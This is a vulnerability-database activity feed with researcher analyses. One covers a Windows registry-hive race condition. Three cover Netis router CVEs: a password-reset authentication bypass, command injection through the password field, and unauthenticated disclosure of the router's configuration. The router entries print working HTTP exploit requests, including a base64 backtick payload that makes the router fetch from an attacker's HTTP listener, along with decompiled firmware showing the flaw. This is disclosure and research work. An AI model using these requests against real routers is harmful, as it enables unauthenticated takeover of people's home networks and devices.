Activity Feed

3
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very Low
Common in enterpriseVulnerable in default configurationDifficult to weaponizeRequires user interaction
Technical Analysis

This seems like a really fascinating exploit from the point of view of a researcher, but an utter and complete nightmare for an attacker.
The core of this exploit is that when Windows reads a registry hive file, it checks the size, allocates memory in chunks, and reads the data into memory. If the host is under memory pressure, it might free a chunk of the file in memory if it is not currently being used, but then when that chunk is required again, it rereads the chunk in question from disk- without checking if it has changed size.
The weaponization of this attack requires a windows host to open a hive file hosted on an SMB server that the attacker has total control over. In the PoCs case, it was a SAMBA share running impacket. An attacker cannot just run a script on a normal SMB host as the host must serve a different version of the file as a race condition and rely on the target also being under memory pressure and having a specific memory layout. The file in question is 2GB.
Again, this is fascinating from a research perspective, but if an attacker has an SMB server running that your hosts can access readily and if an attacker can execute any arbitrary command as a low-level user, this is still not in the first 25 attacks they will reach for. The researchers claim that the “works reliably, but the vulnerability is highly dependant [sic] on the system memory consumption/layout, so if it doesn’t reproduce on the first try, it is recommended to try again, check the extent of memory usage (e.g. in Task Manager), and potentially try to fine-tune the amount of physical memory assigned to the VM.” This sounds suspiciously like BLUEKEEP, where we could always get reliable execution if we did a memory analysis on the remote computer to get the offsets we needed since they were likely to change depending on the host’s memory size, hypervisor, and what applications were running at the time.
In closing, I don’t want to disparage the researchers here; I argued that based on themebleed and other SMB-server attacks, we would see an increased use of SMB servers to control how targets interacted with file systems, and this is a new novel attack vector we should look at, but if an attacker has the ability to use this attack in your environment, they’re going to use another exploit.
Defenders should look to mitigate this by policing SMB shares on the network and blocking access to unknown SMB shares. A targeted approach to just this exploit would be to have HIDS trigger on the act of loading a registry hive- something incredibly few users will do in day-to-day basis.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessUnauthenticatedVulnerable in default configuration
Technical Analysis

Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from an authentication bypass that allows for an unauthenticated reset of the Wifi and admin password of the router.
When router installed for the first time, you will be asked to set the initial router and Wifi password.
This POST request can be repeated anytime, hence resetting the router and Wifi password without any need for authentication.

Just modify the wpaPsk and password field with your base64 encode password to reset the router and Wifi password in the POST request below.

POST Request

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Content-Length: 251
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: text/plain, */*; q=0.01
Sec-Ch-Ua-Platform: "Linux"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/guide/welcome.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive

wl2g_idx=6&wl5g_idx=0&wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&ssid5g=bmV0aXMtMDAwMDAwLTVH&encrypt=4&wpaPsk=SWwwdmVoYWNraW5n&wpaPskType=2&wpaPskFormat=0&password=SWwwdmVoYWNraW5n&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0

Response

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:04:13 GMT
Server: Boa/0.94.14rc21
Connection: close

["SUCCESS"]

This CVE can be chained with CVE-2024-48455 and CVE-2024-48456 into an unauthenticated RCE.
A Metasploit module can be found here to exploit these routers.

Mitigation

There is no fix available.
The following router firmware versions are vulnerable:

References

CVE-2024-48457
Metasploit Module PR 19770
Research Notes – Netis Router Exploit Chain Reactor

Credits

h00die-gr3y –> Discovery

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Easy to weaponizeGives privileged accessVulnerable in default configurationAuthenticated
Technical Analysis

Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from an authenticated command injection vulnerability at the change admin password page of the router web interface.
The vulnerability stems from improper handling of the password and new password parameter within the router’s web interface. Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection vulnerability.

Here are the steps to reproduce the RCE:

  1. login into the router with the admin password
  2. Goto Tools->Admin Password
  3. Change Password and capture POST request with Burp
  4. Send POST request to the repeater
  5. Modify password and new_pwd_confirm field with base64 code of following command: `wget http://192.168.1.2` where the ip is your attacker system
  6. Start a http listener on your attacker system
  7. Issue modified POST request again and wait an incoming connection request on your http listener
# echo -n '`wget http://192.168.1.2`'|base64
YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA==
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

POST Request

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: password=SWwwdmVoYWNraW5n
Content-Length: 167
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: text/plain, */*; q=0.01
Sec-Ch-Ua-Platform: "Linux"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/password.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive

password=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&new_pwd_confirm=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&passwd_set=passwd_set&mode_name=skk_set&app=passwd&wl_link=0

Response

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:13:24 GMT
Server: Boa/0.94.14rc21
Connection: close

["SUCCESS"]

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.1 - - [27/Dec/2024 17:55:56] "GET / HTTP/1.1" 200 -

To understand this a bit better, we need to dig into the firmware code.
If you login in into the emulated router software, you will find the main web binary netis.cgi in /bin. This is a compiled MIPS ELF binary so we need a tool like ghidra to decompile and understand the code.

Loading and analyzing netis.cgi in ghidra shows that the main program is a wrapper that runs the specific cgi request calls like our skk_set.cgi that we can see with burpsuite when interacting with the Netis web interface.

undefined4 main(undefined4 param_1,char **param_2)

{
  bool bVar1;
  size_t sVar2;
  int iVar3;
  char *pcVar4;
  char *local_188;
  int local_184;
  int local_17c;
  void *local_160;
  char acStack_15c [256];
  char cStack_5c;
  char acStack_5b [63];
  int local_1c;
  char *local_18 [4];
  
  local_160 = (void *)0x0;
  memset(&cStack_5c,0,0x40);
  local_1c = 0;
  sVar2 = strlen(*param_2);
  while (local_1c < (int)sVar2) {
    memset(&cStack_5c,0,0x40);
    iVar3 = local_1c;
    FUN_0040670c((int)*param_2,'/',&local_1c);
    strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3);
    do {
      local_1c = local_1c + 1;
    } while ((*param_2)[local_1c] == '/');
  }
  local_188 = &cStack_5c;
  bVar1 = false;
  local_18[0] = "skk_set.cgi";
  local_18[1] = "upload_config.cgi";
  local_18[2] = "upload_fw.cgi";
  local_18[3] = (char *)0x0;
  local_17c = 0;
  do {
    if (local_18[local_17c] == (char *)0x0) {
LAB_00405408:
      if (bVar1) {
        iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4);
        if (iVar3 < 0) {
          local_184 = FUN_004050fc();
          if (local_184 < 0) {
            local_184 = 0;
          }
          FUN_00405060(local_184);
          if (2 < local_184) {
            system("rm -rf /tmp/lock_all.lock");
            FUN_00405060(0);
          }
          printf("[\"LOCK\"]");
          return 0;
        }
        close(iVar3);
      }
      apmib_init();
      FUN_00422c38(&local_160,param_2[1]);
      DAT_00440d40 = FUN_00405190();
      if (local_188 == (char *)0x0) {
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_004214cc(&local_160);
        printf("[\"%d\"]",999);
      }
      else {
        pcVar4 = strstr(local_188,".cgi");
        if (pcVar4 != (char *)0x0) {
          pcVar4 = strchr(local_188,0x2f);
          if (pcVar4 != (char *)0x0) {
            local_188 = acStack_5b;
          }
          FUN_00405764(local_188,&local_160,acStack_15c);
        }
        fflush(stdout);
        FUN_004214cc(&local_160);
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_00405060(0);
      }
      return 0;
    }
    iVar3 = strcmp(local_188,local_18[local_17c]);
    if (iVar3 == 0) {
      bVar1 = true;
      goto LAB_00405408;
    }
    local_17c = local_17c + 1;
  } while( true );
}

Let’s check the code for the password string and see where is it used. You can do this by using the search function in ghidra.
This creates quite some hits, but the most interesting hit is the ex_password variable which seems to be linked to a script /bin/script/password.sh

                             ex_password                                     XREF[2]:     Entry Point(*), 
                                                                                          FUN_0041301c:00413180(*)  
        0043be44 2f 62 69        ds         "/bin/script/password.sh"
                 6e 2f 73 
                 63 72 69

Checking out function FUN_0041301c:00413180(*) shows ex_password a.k.a. /bin/script/password,sh is being called by the function FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);.

undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4)

{
  char *pcVar1;
  byte *pbVar2;
  byte abStack_8c [132];
  
  pcVar1 = FUN_00405644(param_1,"usb3gEnabled");
  if (pcVar1 != (char *)0x0) {
    FUN_00405644(param_1,"usb3gPinCode");
    param_3 = FUN_00405644(param_1,"usb3gApn");
    param_4 = 0;
    FUN_00412fe4();
    FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4);
  }
  pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g");
  if (pbVar2 != (byte *)0x0) {
    FUN_004030f4(abStack_8c,pbVar2);
    strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c);
  }
  FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4);
  memset(abStack_8c,0,0x80);
  apmib_get(0x159,abStack_8c);
  pcVar1 = "/proc/rtl_dnstrap/domain_name";
  FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4);
  FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
  FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4);
  return 0;
}

Interesting, but lets check if this code segment really gets executed if we run the POST request again. A quick trick is to monitor the process list on the router and grep the relevant processes during the execution of the POST request.

# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done
 3518 root      1132 R    /bin/sh -c echo 0 > /proc/http_redirect/enable
 3520 root      1132 R    /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root       324 R    /bin/script/password.sh
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root      1656 S    /bin/script/password.sh

And indeed /bin/script/password.sh gets executed as well as some other commands listed in the code.

So let’s now focus on the /bin/scripts/password.sh.
Checking out this shell script, it turns out to be a compiled MIPS ELF binary instead of a text readable unix shell script.

Let’s use ghidra again to decompile this binary and use the search function to look for the password string.
Again quite some hits, but then I stumble over a very interesting piece of code.

                             s_Changed_Username_and_Password_.._0041dc80     XREF[1]:     FUN_00409590:0040969c(*)  
        0041dc80 43 68 61        ds         "Changed Username and Password ...........\n"
                 6e 67 65 
                 64 20 55

This is most likely the code section that sets the router administration password.

Checking out the function FUN_00409590 is revealing two major issues.

void FUN_00409590(void)

{
  undefined auStack_488 [64];
  undefined auStack_448 [64];
  undefined auStack_408 [1024];
  
  memset(auStack_408,0,0x400);
  memset(auStack_488,0,0x40);
  memset(auStack_448,0,0x40);
  apmib_get(0x15d,auStack_488);
  apmib_get(0x15e,auStack_448);
  RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd");
  RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd");
  RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
  RunSystemCmd("echo \"root:x:0:root\" > /var/group");
  RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group");
  RunSystemCmd("chmod 755 /var/passwd");
  RunSystemCmd("chmod 755 /var/group");
  fwrite("Changed Username and Password ...........\n",1,0x2a,stderr);
  return;
}

The first issue is that the router administration password is directly linked to the root password of router itself.
Oeps! That is not really best practice and attackers love these things.

The second issue is the blind command injection where the vulnerable code RunSystemCmd("echo root:%s | chpasswd -m",auStack_448); allows an attacker to manipulate password argument represented by auStack_448 and inject and execute code using the unix backtics.
This explains why the password parameter is indeed vulnerable of blind command injection.

The RunSystemCmd function is just a piece a code which is defined in the library libapmib.so and executes a unix command line using the system() call.

void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 local_res4;
  undefined4 local_res8;
  undefined4 local_resc;
  char acStack_118 [256];
  undefined4 *local_18;
  
  local_res4 = param_2;
  local_res8 = param_3;
  local_resc = param_4;
  memset(acStack_118,0,0x100);
  local_18 = &local_res4;
  vsprintf(acStack_118,param_1,local_18);
  system(acStack_118);
  return;
}

This CVE can be chained with CVE-2024-48455 and CVE-2024-48457 into an unauthenticated RCE.
A Metasploit module can be found here to exploit these routers.

Mitigation

There is no fix available.
The following router firmware versions are vulnerable:

References

CVE-2024-48456
Metasploit Module PR 19770
Research Notes – Netis Router Exploit Chain Reactor

Credits

h00die-gr3y –> Discovery

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Easy to weaponizeUnauthenticatedVulnerable in default configuration
Technical Analysis

CVE-2024-48555 allows for unauthenticated information disclosure revealing sensitive configuration information of several Netis Routers including rebranded routers from GLCtec and Stonet which can be used by the attacker to determine of the router is running specific vulnerable firmware.

We are using FirmAE to emulate the Netis Router firmware and using burpsuite to capture the request.
For this test, we are using the Netis Wifi 11AC Router Netis_NC65v2-V3.0.0.3800.bin vulnerable firmware version.

./run.sh -d netis /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin
[*] /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin already succeed emulation!!!

[IID] 12
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Web service on 192.168.1.1
[+] Run debug!
Creating TAP device tap12_0...
Set 'tap12_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true true 39.913154010 41.109368119
[*] firmware - Netis_NC65v2-V3.0.0.3800
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[+] netcat connected
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

~ # pwd
/

By issuing a simple POST request as listed below, you can obtain all the information of the router without any authentication.

POST Request

POST /cgi-bin/skk_get.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:131.0) Gecko/20100101 Firefox/131.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: keep-alive

mode_name=skk_get&wl_link=0

Response

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:07:53 GMT
Server: Boa/0.94.14rc21
Connection: close

{
  "version":"netis(NC65)V3.0.0.3800",
  "vender":"CIS",
  "model":"NC65v2",
  "easy_mesh":"EASYMESH",
  "switch_chipset":"",
  "tr069":"1",
  "time_now":"2023/01/01 08:07:53",
  "sys_date":"2023",
  "sys_date2":"1",
  "sys_date3":"1",
  "sys_time":"8",
  "sys_time2":"7",
  "sys_time3":"53",
  "uptime":"489","cpu":
  "20%","mem":"7%",
  "statsList":[{

--- lot of additional information ---

"wlanInfo":[
  {
   "st_wlconn":"0","apLinkList":[],
  },
  {
   "st_wlconn":"0","apLinkList":[],
  },
],
"routeTable":[
  {
  "dstip":"192.168.1.0",
  "mask":"255.255.255.0",
  "gw":"0.0.0.0",
  },
],
"arpList"[
  {
   "id":"1",
   "arp_ip":"192.168.1.2",
   "arp_mac":"d2:36:9f:d8:14:bf",
   "arp_host_name":"",
   "is_qos_idx":"0",
   "qos_up_limit":"0",
   "qos_down_limit":"0",
  },
],
"dhcpList":[],"ndp_list":[
  {
   "id":"1",
   "ndp_ip6":"fe80::d036:9fff:fed8:14bf",
   "ndp_mac":"d2:36:9f:d8:14:bf",
  },
],
"macClone":"d2:36:9f:d8:14:bf",
"wscLock":"0",
"ddnsInfo":"DDNS_STATE_START",
"serialNo":"",
"easymesh":{}
}

This CVE can be chained with CVE-2024-48456 and CVE-2024-48457 into an unauthenticated RCE.
A Metasploit module can be found here to exploit these routers.

Mitigation

There is no fix available.
The following router firmware versions are vulnerable:

References

CVE-2024-48455
Metasploit Module PR 19770
Research Notes – Netis Router Exploit Chain Reactor

Credits

h00die-gr3y –> Discovery

1
Technical Analysis

With remote-method-guesser: detection with rmg enum and exploitation with rmg bind of the RMI registry localhost bypass.

Indicated source as
View More Activity  < Previous  Next >